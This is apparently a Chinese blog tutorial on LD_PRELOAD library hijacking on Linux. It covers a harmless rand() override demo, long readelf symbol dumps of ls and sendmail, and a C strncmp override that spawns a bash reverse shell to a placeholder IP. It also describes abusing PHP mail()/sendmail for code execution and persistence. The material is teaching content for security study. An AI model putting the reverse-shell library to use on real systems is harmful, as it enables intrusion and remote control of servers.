LD_PRELOAD劫持
https://blog.csdn.net/qq_51295677/article/details/124338635
LD_PRELOAD劫持使用前提:
- 目标程序是动态链接(非静态编译);
- 有权设置LD_PRELOAD、加载恶意共享库(库需PIC编译、架构/函数签名匹配);
- 目标程序会调用劫持的函数;
- 无SELinux、禁用函数等防护限制;
- 启动目标程序前配置LD_PRELOAD。
LD_PRELOAD 劫持的常见目标函数:
- 权限 / 身份相关(适合提权、伪装)
getuid()/geteuid():获取用户 ID(如 sendmail 必调用,之前反弹 Shell 案例用)
getgid()/getegid():获取组 ID,类似 uid 劫持逻辑
access():检查文件权限,劫持可绕过权限校验(如普通用户伪装 root 访问) - 程序执行 / 命令调用(适合 RCE、流程篡改)
system():调用 Shell 执行命令(脚本 / 程序常用,劫持可注入恶意命令)
execve()/execl()/execvp():执行新程序(核心系统调用,劫持可替换执行目标)
popen():管道调用 Shell 命令(如业务程序调用系统工具时可劫持) - 文件操作(适合窃取数据、篡改文件)
open()/creat():打开 / 创建文件(劫持可重定向路径、记录敏感文件访问)
read()/write():读写文件内容(如篡改配置、窃取日志 / 密码文件)
stat()/lstat():获取文件属性(劫持可伪造文件权限 / 存在性)
unlink():删除文件(劫持可阻止关键文件被删除) - 随机数 / 通用工具(适合本地篡改、绕过验证)
rand()/srand():生成随机数(如之前 random 程序案例,劫持可返回固定值)
time():获取系统时间(劫持可伪造时间戳,绕过时效验证) - 网络通信(适合流量监控、篡改)
socket():创建网络连接(劫持可记录连接行为)
connect():发起网络请求(劫持可重定向目标服务器)
send()/recv():收发网络数据(如篡改接口请求 / 响应、窃取通信内容) - 通用标准库函数(适合全局劫持、隐蔽攻击)
printf()/fprintf():格式化输出(劫持可篡改程序日志、隐藏攻击痕迹)
malloc()/free():内存分配(监控内存使用,或注入恶意代码)
getenv():获取环境变量(劫持可篡改 PATH/LD_PRELOAD 等关键变量)
核心选择原则:优先选目标程序「明确会调用」的高频函数(可通过 strace/ltrace 分析),且函数签名简单(易匹配)、不影响程序基础运行(避免崩溃)。
初识LD_PRELOAD
LD_PRELOAD是Linux下的一个环境变量,被用于动态链接库的加载,在动态链接库加载过程中它的优先级是最高的。
连接
- 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
- 装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
- 运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
LD_PRELOAD允许你定义在程序运行前优先加载的动态链接库,那么我们便可以在自己定义的动态链接库中装入恶意函数。
在Linux环境中,LD_PRELOAD环境变量可指定共享库的加载优先级——若存在一个恶意文件,其中构造了与系统原生函数同名的恶意函数,当通过LD_PRELOAD指向该恶意文件路径时,其加载优先级会高于系统原生函数所在文件。此时执行相关指令并触发对应函数调用时,系统会优先执行恶意函数,而非原生函数,相当于用恶意函数覆盖了原生函数的正常逻辑。最终,执行指令的过程中会自动触发恶意函数调用,进而引发反弹Shell等非预期的安全漏洞。
LD_LIBRARY_PATH
**LD_LIBRARY_PATH** 可以临时改变应用程序的共享库(如:动态库)查找路径,而不会影响到系统中的其他程序。
利用
前置
1 .so后缀就是动态链接库的文件名 。
2 export LD_PRELOAD=*** 是修改LD_PRELOAD的指向 。
3 我们自定义替换的函数必须和原函数相同,包括类型和参数 。
4 还原LD_PRELOAD的最初指向命令为:unset LD_PRELOAD 。
demo(c)
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
int main()
{
srand(time(NULL)); //随机生成种子,保证每次出现的随机数不相同
int i = 10;
while(i--) printf("%d\n",rand());
return 0;
}
测试一下我们能否使用LD_PRELOAD环境变量去劫持rand()函数
gcc -o random random.c
┌──(kali㉿kali)-[~/Desktop]
└─$ gcc -o random rand.c
┌──(kali㉿kali)-[~/Desktop]
└─$ ./random
1754376990
1516817244
350366753
1403667899
1663175849
297880066
294844820
1484107487
1647369615
1780994767
┌──(kali㉿kali)-[~/Desktop]
└─$ ./random
694817991
1284506071
1679414657
1915501894
1745423858
1471252621
1420871068
1623656097
1946769720
899507055
功能验证 随机生成
我们需要用如下gcc命令编译生成我们的动态库链接,
gcc -shared -fPIC 自定义文件.c -o 生成的库文件.so
编写自定义文件 我们需要修改为不随机,进行rand函数的重定义
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
int rand(){
return 100;
}
编译
export LD_PRELOAD=/root/tmp_k/unrand.so
┌──(root㉿kali)-[/home/kali/Desktop]
└─# unset LD_PRELOAD
┌──(root㉿kali)-[/home/kali/Desktop]
└─# echo $LD_PRELOAD
┌──(root㉿kali)-[/home/kali/Desktop]
└─# ls -l /home/kali/Desktop/unrand.so
-rwxr-xr-x 1 root root 15008 Nov 22 22:33 /home/kali/Desktop/unrand.so
┌──(root㉿kali)-[/home/kali/Desktop]
└─# export LD_PRELOAD=/home/kali/Desktop/unrand.so
┌──(root㉿kali)-[/home/kali/Desktop]
└─# ls
001.c exp.so lab_Linuu.ovpn libpreload.so rand.c random st unrand.c unrand.so
┌──(root㉿kali)-[/home/kali/Desktop]
└─# ./random
100
100
100
100
100
100
100
100
100
100
劫持成功
unset清理一下
┌──(root㉿kali)-[/home/kali/Desktop]
└─# ldd random
linux-vdso.so.1 (0x00007f811fdec000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f811fbd4000)
/lib64/ld-linux-x86-64.so.2 (0x00007f811fdee000)
┌──(root㉿kali)-[/home/kali/Desktop]
└─# export LD_PRELOAD=/home/kali/Desktop/unrand.so
┌──(root㉿kali)-[/home/kali/Desktop]
└─# ldd random
linux-vdso.so.1 (0x00007f3d0343b000)
/home/kali/Desktop/unrand.so (0x00007f3d0342b000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3d0321e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3d0343d000)
可以看到unrand.so优先度高于已有函数
LD_PRELOAD对ls的劫持
readelf -Ws /usr/bin/ls
┌──(kali㉿kali)-[~/Desktop]
└─$ readelf -Ws /usr/bin/ls
Symbol table '.dynsym' contains 138 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __ctype_toupper_loc@GLIBC_2.3 (2)
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getenv@GLIBC_2.2.5 (3)
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND cap_to_text
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fgetfilecon@LIBSELINUX_1.0 (4)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sigprocmask@GLIBC_2.2.5 (3)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __snprintf_chk@GLIBC_2.3.4 (5)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND raise@GLIBC_2.2.5 (3)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __vfprintf_chk@GLIBC_2.3.4 (5)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.34 (6)
10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND abort@GLIBC_2.2.5 (3)
11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __errno_location@GLIBC_2.2.5 (3)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getfilecon_raw@LIBSELINUX_1.0 (4)
13: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strncmp@GLIBC_2.2.5 (3)
14: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterTMCloneTable
15: 0000000000000000 0 FUNC GLOBAL DEFAULT UND localtime_r@GLIBC_2.2.5 (3)
16: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _exit@GLIBC_2.2.5 (3)
17: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strcpy@GLIBC_2.2.5 (3)
18: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __fpending@GLIBC_2.2.5 (3)
19: 0000000000000000 0 FUNC GLOBAL DEFAULT UND flistxattr@GLIBC_2.3 (2)
20: 0000000000000000 0 FUNC GLOBAL DEFAULT UND isatty@GLIBC_2.2.5 (3)
21: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sigaction@GLIBC_2.2.5 (3)
22: 0000000000000000 0 FUNC GLOBAL DEFAULT UND iswcntrl@GLIBC_2.2.5 (3)
23: 0000000000000000 0 FUNC GLOBAL DEFAULT UND localeconv@GLIBC_2.2.5 (3)
24: 0000000000000000 0 FUNC GLOBAL DEFAULT UND llistxattr@GLIBC_2.3 (2)
25: 0000000000000000 0 FUNC GLOBAL DEFAULT UND faccessat@GLIBC_2.4 (7)
26: 0000000000000000 0 FUNC GLOBAL DEFAULT UND readlink@GLIBC_2.2.5 (3)
27: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fcntl@GLIBC_2.2.5 (3)
28: 0000000000000000 0 FUNC GLOBAL DEFAULT UND clock_gettime@GLIBC_2.17 (8)
29: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setenv@GLIBC_2.2.5 (3)
30: 0000000000000000 0 FUNC GLOBAL DEFAULT UND textdomain@GLIBC_2.2.5 (3)
31: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fclose@GLIBC_2.2.5 (3)
32: 0000000000000000 0 FUNC GLOBAL DEFAULT UND lgetxattr@GLIBC_2.3 (2)
33: 0000000000000000 0 FUNC GLOBAL DEFAULT UND opendir@GLIBC_2.2.5 (3)
34: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getpwuid@GLIBC_2.2.5 (3)
35: 0000000000000000 0 FUNC GLOBAL DEFAULT UND bindtextdomain@GLIBC_2.2.5 (3)
36: 0000000000000000 0 FUNC GLOBAL DEFAULT UND listxattr@GLIBC_2.3 (2)
37: 0000000000000000 0 FUNC GLOBAL DEFAULT UND dcgettext@GLIBC_2.2.5 (3)
38: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __ctype_get_mb_cur_max@GLIBC_2.2.5 (3)
39: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.2.5 (3)
40: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __stack_chk_fail@GLIBC_2.4 (7)
41: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getopt_long@GLIBC_2.2.5 (3)
42: 0000000000000000 0 FUNC GLOBAL DEFAULT UND freecon@LIBSELINUX_1.0 (4)
43: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strchr@GLIBC_2.2.5 (3)
44: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getgrgid@GLIBC_2.2.5 (3)
45: 0000000000000000 0 FUNC GLOBAL DEFAULT UND snprintf@GLIBC_2.2.5 (3)
46: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __overflow@GLIBC_2.2.5 (3)
47: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strrchr@GLIBC_2.2.5 (3)
48: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gmtime_r@GLIBC_2.2.5 (3)
49: 0000000000000000 0 FUNC GLOBAL DEFAULT UND lseek@GLIBC_2.2.5 (3)
50: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __assert_fail@GLIBC_2.2.5 (3)
51: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fnmatch@GLIBC_2.2.5 (3)
52: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memset@GLIBC_2.2.5 (3)
53: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ioctl@GLIBC_2.2.5 (3)
54: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strnlen@GLIBC_2.2.5 (3)
55: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getcwd@GLIBC_2.2.5 (3)
56: 0000000000000000 0 FUNC GLOBAL DEFAULT UND mbrtoc32@GLIBC_2.16 (9)
57: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strspn@GLIBC_2.2.5 (3)
58: 0000000000000000 0 FUNC GLOBAL DEFAULT UND closedir@GLIBC_2.2.5 (3)
59: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memcmp@GLIBC_2.2.5 (3)
60: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _setjmp@GLIBC_2.2.5 (3)
61: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs_unlocked@GLIBC_2.2.5 (3)
62: 0000000000000000 0 FUNC GLOBAL DEFAULT UND rawmemchr@GLIBC_2.2.5 (3)
63: 0000000000000000 0 FUNC GLOBAL DEFAULT UND calloc@GLIBC_2.2.5 (3)
64: 0000000000000000 0 FUNC GLOBAL DEFAULT UND signal@GLIBC_2.2.5 (3)
65: 0000000000000000 0 FUNC GLOBAL DEFAULT UND dirfd@GLIBC_2.2.5 (3)
66: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputc_unlocked@GLIBC_2.2.5 (3)
67: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getpwnam@GLIBC_2.2.5 (3)
68: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __memcpy_chk@GLIBC_2.3.4 (5)
69: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sigemptyset@GLIBC_2.2.5 (3)
70: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
71: 0000000000000000 0 FUNC GLOBAL DEFAULT UND stat@GLIBC_2.33 (10)
72: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memcpy@GLIBC_2.14 (11)
73: 0000000000000000 0 FUNC GLOBAL DEFAULT UND lgetfilecon_raw@LIBSELINUX_1.0 (4)
74: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getgrnam@GLIBC_2.2.5 (3)
75: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __isoc23_strtoumax@GLIBC_2.38 (12)
76: 0000000000000000 0 FUNC GLOBAL DEFAULT UND tzset@GLIBC_2.2.5 (3)
77: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fileno@GLIBC_2.2.5 (3)
78: 0000000000000000 0 FUNC GLOBAL DEFAULT UND tcgetpgrp@GLIBC_2.2.5 (3)
79: 0000000000000000 0 FUNC GLOBAL DEFAULT UND readdir@GLIBC_2.2.5 (3)
80: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strerror_r@GLIBC_2.2.5 (3)
81: 0000000000000000 0 FUNC GLOBAL DEFAULT UND wcwidth@GLIBC_2.2.5 (3)
82: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fflush@GLIBC_2.2.5 (3)
83: 0000000000000000 0 FUNC GLOBAL DEFAULT UND nl_langinfo@GLIBC_2.2.5 (3)
84: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strcoll@GLIBC_2.2.5 (3)
85: 0000000000000000 0 FUNC GLOBAL DEFAULT UND mktime@GLIBC_2.2.5 (3)
86: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __freading@GLIBC_2.2.5 (3)
87: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fgetxattr@GLIBC_2.3 (2)
88: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fwrite_unlocked@GLIBC_2.2.5 (3)
89: 0000000000000000 0 FUNC GLOBAL DEFAULT UND realloc@GLIBC_2.2.5 (3)
90: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setlocale@GLIBC_2.2.5 (3)
91: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __printf_chk@GLIBC_2.3.4 (5)
92: 0000000000000000 0 FUNC GLOBAL DEFAULT UND statx@GLIBC_2.28 (13)
93: 0000000000000000 0 FUNC GLOBAL DEFAULT UND timegm@GLIBC_2.2.5 (3)
94: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strftime@GLIBC_2.2.5 (3)
95: 0000000000000000 0 FUNC GLOBAL DEFAULT UND mempcpy@GLIBC_2.2.5 (3)
96: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memmove@GLIBC_2.2.5 (3)
97: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fseeko@GLIBC_2.2.5 (3)
98: 0000000000000000 0 FUNC GLOBAL DEFAULT UND cap_get_file
99: 0000000000000000 0 FUNC GLOBAL DEFAULT UND unsetenv@GLIBC_2.2.5 (3)
100: 0000000000000000 0 FUNC GLOBAL DEFAULT UND cap_free
101: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __cxa_atexit@GLIBC_2.2.5 (3)
102: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getxattr@GLIBC_2.3 (2)
103: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gethostname@GLIBC_2.2.5 (3)
104: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sigismember@GLIBC_2.2.5 (3)
105: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.2.5 (3)
106: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fwrite@GLIBC_2.2.5 (3)
107: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __fprintf_chk@GLIBC_2.3.4 (5)
108: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMCloneTable
109: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getfilecon@LIBSELINUX_1.0 (4)
110: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fflush_unlocked@GLIBC_2.2.5 (3)
111: 0000000000000000 0 FUNC GLOBAL DEFAULT UND mbsinit@GLIBC_2.2.5 (3)
112: 0000000000000000 0 FUNC GLOBAL DEFAULT UND lgetfilecon@LIBSELINUX_1.0 (4)
113: 0000000000000000 0 FUNC GLOBAL DEFAULT UND iswprint@GLIBC_2.2.5 (3)
114: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fgetfilecon_raw@LIBSELINUX_1.0 (4)
115: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sigaddset@GLIBC_2.2.5 (3)
116: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __ctype_tolower_loc@GLIBC_2.3 (2)
117: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __ctype_b_loc@GLIBC_2.3 (2)
118: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __sprintf_chk@GLIBC_2.3.4 (5)
119: 0000000000027280 8 OBJECT GLOBAL DEFAULT 26 __progname@GLIBC_2.2.5 (3)
120: 0000000000027290 4 OBJECT GLOBAL DEFAULT 26 optind@GLIBC_2.2.5 (3)
121: 0000000000000000 0 FUNC GLOBAL DEFAULT UND free@GLIBC_2.2.5 (3)
122: 00000000000272a8 8 OBJECT WEAK DEFAULT 26 program_invocation_name@GLIBC_2.2.5 (3)
123: 000000000001b000 4 OBJECT GLOBAL DEFAULT 16 _IO_stdin_used
124: 00000000000272a8 8 OBJECT GLOBAL DEFAULT 26 __progname_full@GLIBC_2.2.5 (3)
125: 0000000000027200 8 OBJECT GLOBAL DEFAULT 25 obstack_alloc_failed_handler
126: 00000000000272c0 8 OBJECT GLOBAL DEFAULT 26 stderr@GLIBC_2.2.5 (3)
127: 0000000000027280 8 OBJECT WEAK DEFAULT 26 program_invocation_short_name@GLIBC_2.2.5 (3)
128: 00000000000272a0 8 OBJECT GLOBAL DEFAULT 26 optarg@GLIBC_2.2.5 (3)
129: 0000000000028400 4 OBJECT GLOBAL DEFAULT 26 error_one_per_line
130: 0000000000004ad7 166 FUNC GLOBAL DEFAULT 14 error_at_line
131: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strcmp@GLIBC_2.2.5 (3)
132: 0000000000004932 176 FUNC GLOBAL DEFAULT 14 error
133: 0000000000000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@GLIBC_2.2.5 (3)
134: 0000000000028404 4 OBJECT GLOBAL DEFAULT 26 error_message_count
135: 0000000000028408 8 OBJECT GLOBAL DEFAULT 26 error_print_progname
136: 0000000000000000 0 FUNC GLOBAL DEFAULT UND malloc@GLIBC_2.2.5 (3)
137: 0000000000027288 8 OBJECT GLOBAL DEFAULT 26 stdout@GLIBC_2.2.5 (3)
以上为调用ls时会调用的函数
实例中使用strncmp函数(前面那堆函数覆盖了都不太妙这个好拿捏一点×
strncmp 函数简短总结
核心功能:C 语言标准库(<string.h>)函数,按前 n 个字符比较两个字符串(str1、str2)的 ASCII 码值,不比较超出 n 的字符。
函数原型:int strncmp(const char *str1, const char *str2, size_t n);
str1/str2:待比较的两个字符串;
n:最大比较字符数(无符号整数)。
返回值规则(关键区分点):
正数:str1 前 n 个字符中,首个不同字符的 ASCII 值 > str2 对应字符;
0:str1 和 str2 的前 n 个字符完全相同(或 n=0);
负数:str1 前 n 个字符中,首个不同字符的 ASCII 值 < str2 对应字符。
模板一样的.c文件
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("bash -c 'bash -i >& /dev/tcp/your_IP/2333 0>&1'");//反弹shell
}
int strncmp(const char *__s1, const char *__s2, size_t __n) {
if (getenv("LD_PRELOAD") == NULL) { //这个函数在这里的作用是阻止该payload一直执行
return 0;
}
unsetenv("LD_PRELOAD");//清空
payload();//执行payload
}
运行
export LD_PRELOAD-/tmp/mk_tmp/payload1.so
mail()&LD_PRELOAD劫持(php)
这个在下面的例题会遇到
mail 函数是用于发送邮件的功能函数,其底层会调用系统自带的程序 /usr/sbin/sendmail 来完成邮件发送操作。若能成功劫持 /usr/sbin/sendmail 被调用时触发的相关函数(或替换该程序本身),即可达成:
1. 执行任意系统命令,获取服务器权限
sendmail 通常以较高权限运行(部分场景下甚至是 root 权限)。若将其替换为恶意程序,当应用调用 mail 函数触发 sendmail 时,恶意程序可执行任意系统命令,从而直接获取服务器的 shell 控制权,实现远程代码执行(RCE)。
2. 窃取敏感数据或发送恶意邮件
- 可拦截所有通过
mail函数发送的邮件内容,窃取其中的敏感信息(如用户凭证、业务数据等); - 也可篡改邮件内容,向目标地址发送钓鱼邮件或包含恶意 payload 的邮件,进一步攻击收件方系统。
3. 实现权限提升与持久化控制
- 若
sendmail以 root 权限运行,替换后的恶意程序可利用这一权限执行高风险操作(如修改系统配置、添加管理员账号等),完成权限提升; - 同时,恶意
sendmail可作为持久化后门,只要应用存在邮件发送功能,攻击者就能持续通过该入口控制服务器,即使其他漏洞被修复也能维持访问。
4. 绕过安全防护
部分安全设备可能对 Web 应用层的攻击检测较严格,但对系统级程序 sendmail 的调用行为检测较弱。通过劫持 sendmail,可绕过 Web 层的防护机制,隐蔽地实施攻击。
简言之,劫持 sendmail 本质是利用其“系统级程序+高权限运行”的特性,将邮件发送功能转化为攻击入口,实现从应用层到系统层的突破,达成控制服务器、窃取数据、持久化攻击等多种恶意目的。
函数情况
kali里面没有就先安一个
sudo apt update && sudo apt install -y sendmail
readelf -Ws /usr/sbin/sendmail
┌──(kali㉿kali)-[~/Desktop]
└─$ readelf -Ws /usr/sbin/sendmail
Symbol table '.dynsym' contains 382 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ldap_first_entry@OPENLDAP_2.200 (2)
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_CTX_use_PrivateKey_file@OPENSSL_3.0.0 (3)
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getegid@GLIBC_2.2.5 (4)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_get_error@OPENSSL_3.0.0 (3)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ASN1_STRING_type@OPENSSL_3.0.0 (5)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __errno_location@GLIBC_2.2.5 (4)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_read@OPENSSL_3.0.0 (3)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_check_private_key@OPENSSL_3.0.0 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getservbyname@GLIBC_2.2.5 (4)
10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND pause@GLIBC_2.2.5 (4)
11: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND stdout@GLIBC_2.2.5 (4)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND tzset@GLIBC_2.2.5 (4)
13: 0000000000000000 0 FUNC GLOBAL DEFAULT UND uname@GLIBC_2.2.5 (4)
14: 0000000000000000 0 FUNC GLOBAL DEFAULT UND nis_list@LIBNSL_1.0 (6)
15: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ldap_init@OPENLDAP_2.200 (2)
16: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getgroups@GLIBC_2.2.5 (4)
17: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_setprop@SASL2 (7)
18: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ldap_set_option@OPENLDAP_2.200 (2)
19: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __ctype_toupper_loc@GLIBC_2.3 (8)
20: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ENGINE_init@OPENSSL_3.0.0 (5)
21: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_clear@OPENSSL_3.0.0 (3)
22: 0000000000000000 0 FUNC GLOBAL DEFAULT UND bind@GLIBC_2.2.5 (4)
23: 0000000000000000 0 FUNC GLOBAL DEFAULT UND EVP_get_digestbyname@OPENSSL_3.0.0 (5)
24: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_decode64@SASL2 (7)
25: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ERR_peek_error@OPENSSL_3.0.0 (5)
26: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __ctype_tolower_loc@GLIBC_2.3 (8)
27: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __longjmp_chk@GLIBC_2.11 (9)
28: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_server_start@SASL2 (7)
29: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ldap_bind@OPENLDAP_2.200 (2)
30: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_CIPHER_get_bits@OPENSSL_3.0.0 (3)
31: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_get_wfd@OPENSSL_3.0.0 (3)
32: 0000000000000000 0 FUNC GLOBAL DEFAULT UND i2d_X509_PUBKEY@OPENSSL_3.0.0 (5)
33: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strstr@GLIBC_2.2.5 (4)
34: 0000000000000000 0 FUNC GLOBAL DEFAULT UND srandom@GLIBC_2.2.5 (4)
35: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_CTX_set_verify@OPENSSL_3.0.0 (3)
36: 0000000000000000 0 FUNC GLOBAL DEFAULT UND socket@GLIBC_2.2.5 (4)
37: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_set_ex_data@OPENSSL_3.0.0 (3)
38: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_STORE_CTX_get0_cert@OPENSSL_3.0.0 (5)
39: 0000000000000000 0 FUNC GLOBAL DEFAULT UND endusershell@GLIBC_2.2.5 (4)
40: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fork@GLIBC_2.2.5 (4)
41: 0000000000000000 0 FUNC GLOBAL DEFAULT UND BIO_ctrl@OPENSSL_3.0.0 (5)
42: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND __environ@GLIBC_2.2.5 (4)
43: 0000000000000000 0 FUNC GLOBAL DEFAULT UND link@GLIBC_2.2.5 (4)
44: 0000000000000000 0 FUNC GLOBAL DEFAULT UND yp_match@LIBNSL_1.0 (6)
45: 0000000000000000 0 FUNC GLOBAL DEFAULT UND BN_bin2bn@OPENSSL_3.0.0 (5)
46: 0000000000000000 0 FUNC GLOBAL DEFAULT UND nanosleep@GLIBC_2.2.5 (4)
47: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_get_ex_data@OPENSSL_3.0.0 (3)
48: 0000000000000000 0 FUNC GLOBAL DEFAULT UND BIO_s_file@OPENSSL_3.0.0 (5)
49: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_LOOKUP_ctrl@OPENSSL_3.0.0 (5)
50: 0000000000000000 0 FUNC GLOBAL DEFAULT UND accept@GLIBC_2.2.5 (4)
51: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fpathconf@GLIBC_2.2.5 (4)
52: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtoul@GLIBC_2.2.5 (4)
53: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ERR_get_error_all@OPENSSL_3.0.0 (5)
54: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ERR_error_string@OPENSSL_3.0.0 (5)
55: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_server_step@SASL2 (7)
56: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strerror@GLIBC_2.2.5 (4)
57: 0000000000000000 0 FUNC GLOBAL DEFAULT UND yperr_string@LIBNSL_1.0 (6)
58: 0000000000000000 0 FUNC GLOBAL DEFAULT UND write@GLIBC_2.2.5 (4)
59: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_set_connect_state@OPENSSL_3.0.0 (3)
60: 0000000000000000 0 FUNC GLOBAL DEFAULT UND DSA_generate_parameters_ex@OPENSSL_3.0.0 (5)
61: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ldap_get_option@OPENLDAP_2.200 (2)
62: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_alert_desc_string_long@OPENSSL_3.0.0 (3)
63: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strchr@GLIBC_2.2.5 (4)
64: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ldap_get_values@OPENLDAP_2.200 (2)
